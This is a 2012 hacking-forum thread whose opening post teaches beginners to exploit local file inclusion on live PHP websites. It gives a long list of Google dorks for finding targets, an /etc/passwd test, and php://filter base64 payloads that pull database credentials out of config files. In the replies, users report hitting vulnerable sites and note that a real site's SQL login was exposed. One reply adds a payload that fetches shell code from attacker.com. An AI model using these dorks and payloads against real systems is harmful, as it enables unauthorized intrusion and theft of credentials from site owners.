

Forum:[Hack Forums](#)

Thread: [\[LFI method\] php://filter - Noob friendly with pictures](#)

HaxOr? - April 10, 2012, 11:46 am

Things you will need:

- 1.) Site vulnerable to LFI (Local file inclusion)

Chapter I

- Finding vulnerable site

Few Google dorks.

Credits: -Downfall

Code inurl:index.php?page=index.php
inurl:index.php?page=sitemap.php
inurl:index.php?page=awards.php
inurl:index.php?page=book.php
inurl:index.php?page=store.php
inurl:index.php?page=items.php
inurl:index.php?page=feedback.php
inurl:index.php?page=welcome.php
inurl:index.php?page=advertise.php
inurl:index.php?page=festival.php
inurl:index.php?page=band.php
inurl:index.php?page=musicians.php
inurl:index.php?page=artist.php
inurl:index.php?page=archive.php
inurl:index.php?page=facilities.php
inurl:index.php?page=activities.php
inurl:index.php?page=bio.php
inurl:index.php?page=biography.php
inurl:index.php?page=menu.php
inurl:index.php?page=profile.php
inurl:index.php?page=terms.php
inurl:index.php?page=tos.php
inurl:index.php?page=screenshots.php
inurl:index.php?page=plans.php
inurl:index.php?page=templates.php
inurl:index.php?page=browse.php
inurl:index.php?page=shows.php
inurl:index.php?page=dining.php
inurl:index.php?page=media.php
inurl:index.php?page=offers.php
inurl:index.php?page=photogallery.php
inurl:index.php?page=schools.php
inurl:index.php?page=rates.php

inurl:index.php?page=buy.php
inurl:index.php?page=pricing.php
inurl:index.php?page=web.php
inurl:index.php?page=cms.php
inurl:index.php?page=sponsors.php
inurl:index.php?page=login.php
inurl:index.php?page=admin.php
inurl:index.php?page=register.php
inurl:index.php?page=signin.php
inurl:index.php?page=signup.php
inurl:index.php?page=artikel.php
inurl:index.php?page=kontakt.php
inurl:index.php?page=directions.php
inurl:index.php?page=farm.php
inurl:index.php?page=resume.php
inurl:index.php?page=products.php
inurl:index.php?page=music.php
inurl:index.php?page=agenda.php
inurl:index.php?page=faculty.php
inurl:index.php?page=overview.php
inurl:index.php?page=research.php
inurl:index.php?page=publications.php
inurl:index.php?page=outreach.php
inurl:index.php?page=education.php
inurl:index.php?page=regulatoins.php
So when you find some site like this:

Code `http://site.com/index.php?page=main.php`
Instead of `main.php` put `/etc/passwd` and if you get something like this :

[img]<http://img820.imageshack.us/img820/723/regionme.png>[/img]

Then it's vulnerable.

Chapter II

- Exploiting

This method is pretty easy to do.

We use `php://filter` to read files (Source) BASE-64 encrypted.

It's usefull when we want to grab MySQL information or check for any vulnerability but file must be .PHP...

With that being said lets continue to exploiting.

Lets say we have our vulnerable site:

Code `http://site.com/index.php?page=main.php`
Now we want to see source of `index.php`
Instead of "`main.php`" type:

Code `php://filter/convert.base64-encode/resource=index.php`
[img]<http://img16.imageshack.us/img16/1621/regionxn.png>[/img]

Code `http://site.com/index.php?page=php://filter/convert.base64-encode/resource=index.php`
You can change index.php with any file on the server.
Now you have your source.
Right click > View Source (CTRL+U)

[img]http://img856.imageshack.us/img856/1852/regionhw.png[/img]

Now search for your encrypted text and copy it.

[img]http://img843.imageshack.us/img843/6121/regionay.png[/img]

We need to decrypt it, right?
Since it's BASE-64 we can decrypt it with crypto.

Go here and paste your source.

http://www.crypto.com/tools/eng_base64d.php

If you got any error it doesn't matter.
When we have our source you can check for files that contains MySQL information.

[img]http://img163.imageshack.us/img163/4600/regionzj.png[/img]

Common names are config.php , connect.php , connection.php and so on.
There should be at the top of index something like this

[img]http://img42.imageshack.us/img42/6624/regionfo.png[/img]

You see that our name of configuration file is "connect.php".
Now we just need to grab it.

Code `http://site.com/index.php?page=php://filter/convert.base64-encode/resource=connect.php`
[img]http://img32.imageshack.us/img32/7440/regionuyl.png[/img]

[img]http://img710.imageshack.us/img710/4793/regionbs.png[/img]

[img]http://img829.imageshack.us/img829/3469/regionka.png[/img]

That gave me exact name of config file "config.php".

Code `http://site.com/index.php?page=php://filter/convert.base64-encode/resource=config.php`
[img]http://img252.imageshack.us/img252/4152/regionla.png[/img]

[img]http://img703.imageshack.us/img703/5615/regionrq.png[/img]

Decrypted:

[img]http://img825.imageshack.us/img825/3725/regioniv.png[/img]

Video Tutorial

Here is HD tutorial on it.

And watch it and HD. :P
I know,i'm not good at doing video demonstration.. ?

[Video: <http://www.youtube.com/watch?v=SuP4VhzJQAQ>]

You can connect it with tools,some shells have it.
That will conclude this tutorial for today.
I hope somebody find this helpfull. ?

Azido - April 10, 2012, 11:49 am

Nice tutorial Mr. ?? ? x O r ?

You're always making quality posts.

??????? - April 10, 2012, 12:11 pm

Good Job ? I knew this method but it is a good reminder.

fobber - April 10, 2012, 12:14 pm

Damn dude. You keep surprising me. First php://input and now php://filter. I'd never have thought that LFI was such a serious "problem", if it wasn't for you! :D

Edit: Just found a website that was vulnerable to this. Damn this is awesome! ^^

HaxOr? - April 10, 2012, 12:17 pm

(Apr 10, 2012 12:14 PM)fobber Wrote: [\[CITE\]](#) Damn dude. You keep surprising me. First php://input and now php://filter. I'd never have thought that LFI was such a serious "problem", if it wasn't for you! :D

Thanks fobber.

It really comes in handy when /proc/self/environ and log poisoning fails. ;)

Bacardi - April 10, 2012, 12:18 pm

And another great tutorial. You're on a roll!

HaxOr? - April 10, 2012, 12:39 pm

(Apr 10, 2012 12:18 PM)Bacardi. Wrote: [\[CITE\]](#) And another great tutorial. You're on a roll!
Thanks Bacardi,i guess i'm on a roll... ?

Bacardi - April 10, 2012, 12:53 pm

(Apr 10, 2012 12:39 PM)?? ? x O r ? Wrote: [\[CITE\]](#) Thanks Bacardi,i guess i'm on a roll... ?
Are you planning on making any more tutorials on LFI? If there are more methods that is. Or maybe for something else?

I really enjoy reading your tutorials ?

HaxOr? - April 10, 2012, 12:58 pm

(Apr 10, 2012 12:53 PM)Bacardi. Wrote: [\[CITE\]](#) Are you planning on making any more tutorials on LFI? If there are more methods that is. Or maybe for something else?

I really enjoy reading your tutorials ?

There is more method like /proc/self/environ and log poisoning.
I will do one with log poisoning after i find good site.

Mewtw? - April 10, 2012, 12:59 pm

Bookmarked this thread :)

It might come in handy since it seems to be very well explained :)

Thanks.

BeggFoMercy - April 10, 2012, 1:21 pm

Nice work u got there dude ;) Keep it up

Keeper - April 10, 2012, 1:50 pm

I fu*kin' vouch for this. Awesome tut, just what I was looking for these days. By the way hax0r you make my hacking easier --> thanks!

HaxOr? - April 10, 2012, 3:24 pm

(Apr 10, 2012 01:50 PM)Keeper Wrote: [\[CITE\]](#) I fu*kin' vouch for this. Awesome tut, just what I was looking for these days. By the way hax0r you make my hacking easier --> thanks!

No problem mate,i'm glad i could help. ?

bluebknight - April 11, 2012, 3:43 am

Any idea how to upload a shell that way? I am certain that it's possible because fimal uses this to get a basic PHP shell. A post with that would be greatly appreciated.

fobber - April 11, 2012, 4:04 am

(Apr 11, 2012 03:43 AM)bluebknight Wrote: [\[CITE\]](#) Any idea how to upload a shell that way? I am certain that it's possible because fimal uses this to get a basic PHP shell. A post with that would be greatly appreciated.

I guess you'd need to use php://input for that - <https://hackforums.net/showthread.php?tid=2384584>

HaxOr.. Is there any chance you got a list of common database names. You already listed three (config.php , connect.php , connection.php). But any chance you got a few more?:(

Edit: Damn.. I've found websites where /etc/passwd works. php://filter works, but php://input never works. Does it need to be a specific PHP version?

Prominent - April 11, 2012, 5:25 am

Well done babe :3 Glad to see some LFI back in here!

HaxOr? - April 11, 2012, 10:21 am

(Apr 11, 2012 04:04 AM)fobber Wrote: [\[CITE\]](#) I guess you'd need to use php://input for that - <https://hackforums.net/showthread.php?tid=2384584>

HaxOr.. Is there any chance you got a list of common database names. You already listed three (config.php , connect.php , connection.php). But any chance you got a few more?:(

Edit: Damn.. I've found websites where /etc/passwd works. php://filter works, but php://input never works. Does it need to be a specific PHP version?

PHP version must be above 5.0.0.

And i can't think of more names fro configuration files.

They could be random too.

(Apr 11, 2012 05:25 AM)Prominent Wrote: [\[CITE\]](#) Well done babe :3 Glad to see some LFI back in here!

Thanks POM POM... <3

noober1001 - April 11, 2012, 10:37 am

This is damn awesome bro.
Thanks for sharing.

Hooded Robin - April 11, 2012, 10:37 am

@bluebknight - if the site allows remote URL access in config you can modify the filter request to include your shell code, essentially turning it into an RFI:

Code site.com/vuln.php?lfi=php://filter/resource=http://attacker.com/shell.txt?Needs URL access though which is very rare, but is good alternative to standard http:// requests

Enjoy!

HaxOr? - April 13, 2012, 3:52 pm

(Apr 11, 2012 10:37 AM)noober1001 Wrote: [\[CITE\]](#) This is damn awesome bro.

Thanks for sharing.

Thanks noober1001!

@Hooded

I think i found once site where i could do that.

Can't remember what site it was...

-DownFall - April 13, 2012, 10:31 pm

Nice tut , and thanks for the credits for the dorks!!

HaxOr? - April 14, 2012, 3:27 am

(Apr 13, 2012 10:31 PM)-DownFall Wrote: [\[CITE\]](#) Nice tut , and thanks for the credits for the dorks!!

Thanks it means alot.

And i always give credits. ;)

Olli - April 14, 2012, 3:31 am

Oh THX ;)

THis is really helpfully !

Make more guides about LFI !!

kalvin26 - April 14, 2012, 4:00 am

i like all your tutorial my friend, its easy to understand, Thanks man

htmnilc - April 14, 2012, 4:18 am

Starting to find a lot of your guides Haxor, they're all top quality, well written and instructive, with good clear pictures.

Learning a lot from yourself, thank you.

Keep up the good work.

HaxOr? - April 14, 2012, 5:43 am

Here is HD tutorial on it.

And watch it and HD. :P

I know,i'm not good at doing video demonstration.. ?

[Video: <http://www.youtube.com/watch?v=SuP4VhzJQAg>]

fobber - April 14, 2012, 6:17 am

(Apr 14, 2012 05:43 AM)?? ? x O r ? Wrote: [\[CITE\]](#) Here is HD tutorial on it.
And watch it and HD. :P
I know,i'm not good at doing video demonstration.. ?

[Video: <http://www.youtube.com/watch?v=SuP4VhzJQAg>]

Nice video. I prefer getting taught by text, like in the first post. But the video isn't bad at all.
Perhaps you could have done a little speed up when you're writing texts in notePad. It's kinda slow.

I feel sorry for the website, that just got it's SQL-login information posted. But oh well. As I said, nice video!;)

HaxOr? - April 14, 2012, 7:17 am

(Apr 14, 2012 06:17 AM)fobber Wrote: [\[CITE\]](#) Nice video. I prefer getting taught by text, like in the first post. But the video isn't bad at all. Perhaps you could have done a little speed up when you're writing texts in notePad. It's kinda slow.

I feel sorry for the website, that just got it's SQL-login information posted. But oh well. As I said, nice video!;)

Thanks.

I'm still new to Camtasia and i really don't know how i can speed it up.

Bacardi - April 17, 2012, 5:30 am

/etc/passwd doesn't always have to work to make this work I just found out.

/etc/passwd didn't work but filter did :D

HaxOr? - April 17, 2012, 5:34 am

(Apr 17, 2012 05:30 AM)Bacardi. Wrote: [\[CITE\]](#) /etc/passwd doesn't always have to work to make this work I just found out.

/etc/passwd didn't work but filter did :D

Yea i doesn't have to work.

If you get blank page it probably will work. :) (From my experience)

Vivek_s - April 18, 2012, 1:58 am

Very nice tutorial

Very helpful

Thanks

CryptShock - April 18, 2012, 2:16 am

thanks For Sharing this m8...

Gud work :D

Cy3erP0nk - April 23, 2012, 1:54 pm

Bookmarked this and I can't say enough for the work you've done. Great job mate and thank you for sharing this amazing work.

HaxOr? - April 24, 2012, 11:03 am

Thanks for the kind words pepole! ?

ahmedrafiq - August 3, 2012, 3:41 am

i like it man.... well explained . can u write about rainbow tables via gpu ? like this well explained tut . i will wait for your reply

The Forgotten - October 1, 2012, 12:07 am

Excellent tutorial! I find your tutorial chain, the easiest to learn from.

fred93 - December 29, 2012, 9:08 am

Dude... That chick in your signature is.. Damn!!(:

engr?ze - December 29, 2012, 9:10 am

Did you seriously dig a grave to say you like his signature?

ameerhamza - December 29, 2012, 9:53 am

I guess to connect to database you need the shell on the same server ..!!
really tiring .. Sql injection is the best

fred93 - December 29, 2012, 10:57 am

i have seen his signature so many times :) and while reading his tut i cant stop myself against complementing it :D

Nexusus - June 19, 2013, 3:07 pm

great tutorial m8 :)
keep up the good work